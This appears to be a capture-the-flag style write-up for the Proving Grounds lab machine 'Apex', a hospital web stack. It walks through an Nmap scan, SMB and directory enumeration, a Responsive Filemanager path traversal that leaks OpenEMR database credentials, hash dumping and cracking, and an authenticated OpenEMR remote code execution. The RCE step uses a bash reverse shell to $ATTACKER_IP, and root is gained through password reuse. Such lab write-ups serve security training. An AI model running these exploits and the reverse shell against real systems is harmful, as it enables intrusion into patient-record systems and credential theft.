Skip to content
HackIndex.io

Apex Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Apex exposes a hospital web stack where a vulnerable Responsive Filemanager instance leaks OpenEMR's database credentials through path traversal. Those credentials unlock OpenEMR's MySQL database, whose cracked admin hash drives an authenticated OpenEMR RCE for a www-data shell, and the same database password is reused for root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu
3306/tcp open  mysql       MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Three services: a web server, SMB, and MySQL. All three end up playing a role in the chain.

SMB enumeration

List and browse the available shares.

┌──(kali㉿kali)-[~]
└─$ smbclient -L //$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/docs 
Sharename       Type      Comment
---------       ----      -------
docs            Disk
IPC$            IPC       IPC Service

Anonymous access to a docs share returns a handful of PDFs with nothing useful in them, but the share is writable, which matters later as a drop point for exfiltrated files.

Web enumeration

Brute force directories on port 80.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt 
/filemanager/         (Status: 200)  # Responsive Filemanager 9.13.4
/openemr/             (Status: 200)  # OpenEMR 5.0.1 login page

Two web applications share port 80.

Enumeration

Responsive Filemanager 9.13.4 at /filemanager/ is a PHP file manager with a known path traversal in its copy_cut and paste_clipboard functions (EDB-49359), which allows arbitrary file reads outside the webroot. OpenEMR 5.0.1 at /openemr/ is an open-source medical records system with a known authenticated RCE (EDB-45161). The file manager's traversal leaks OpenEMR's database credentials, which unlock the RCE.

Exploitation

Path traversal to database credentials

Use the Responsive Filemanager path traversal exploit to copy OpenEMR's database config out to the writable SMB share.

┌──(kali㉿kali)-[~]
└─$ python3 49359.py
┌──(kali㉿kali)-[~]
└─$ # url_path -> "%s/filemanager/Documents/%s"
┌──(kali㉿kali)-[~]
└─$ # target file -> /var/www/openemr/sites/default/sqlconf.php

Pull the copied file from the docs SMB share. It contains the OpenEMR database credentials.

$host = 'localhost';
$port = '3306';
$login = 'openemr';
$pass  = '$OPENEMR_PASSWORD';
$dbase = 'openemr';

MySQL enumeration

Connect with the extracted credentials and dump the admin password hash.

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -u openemr -p$OPENEMR_PASSWORD openemr
┌──(kali㉿kali)-[~]
└─$ MariaDB [openemr]> SELECT username, password FROM users_secure; 
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC |
+----------+--------------------------------------------------------------+

Cracking the hash

The hash is bcrypt ($2a$05$), hashcat mode 3200.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force 
admin:$ADMIN_PASSWORD
Explain command
-m 3200 Bcrypt hash mode.

OpenEMR authenticated RCE (EDB-45161)

With valid admin credentials, run the OpenEMR authenticated RCE exploit. Start a listener first.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ python2 45161.py http://$TARGET_IP/openemr -u admin -p $ADMIN_PASSWORD \
-c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'

The listener catches a shell as www-data. Stabilize it and check for privilege escalation paths.

Privilege Escalation

Database password reuse

The OpenEMR database password is reused for the system root account.

┌──(kali㉿kali)-[~]
└─$ su - 
Password:
root@apex:~# id
uid=0(root) gid=0(root) groups=0(root)

Related

Directory Traversal
Blog

Directory Traversal

Exploit path traversal vulnerabilities in web apps to access files outside the webroot using encoded...
MySQL Credential Harvesting from Application Configs
Blog

MySQL Credential Harvesting from Application Configs
MySQL Hash Extraction and Cracking
Blog

MySQL Hash Extraction and Cracking

Exploit MySQL to extract password hashes from user tables, then crack them offline using tools like...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...

References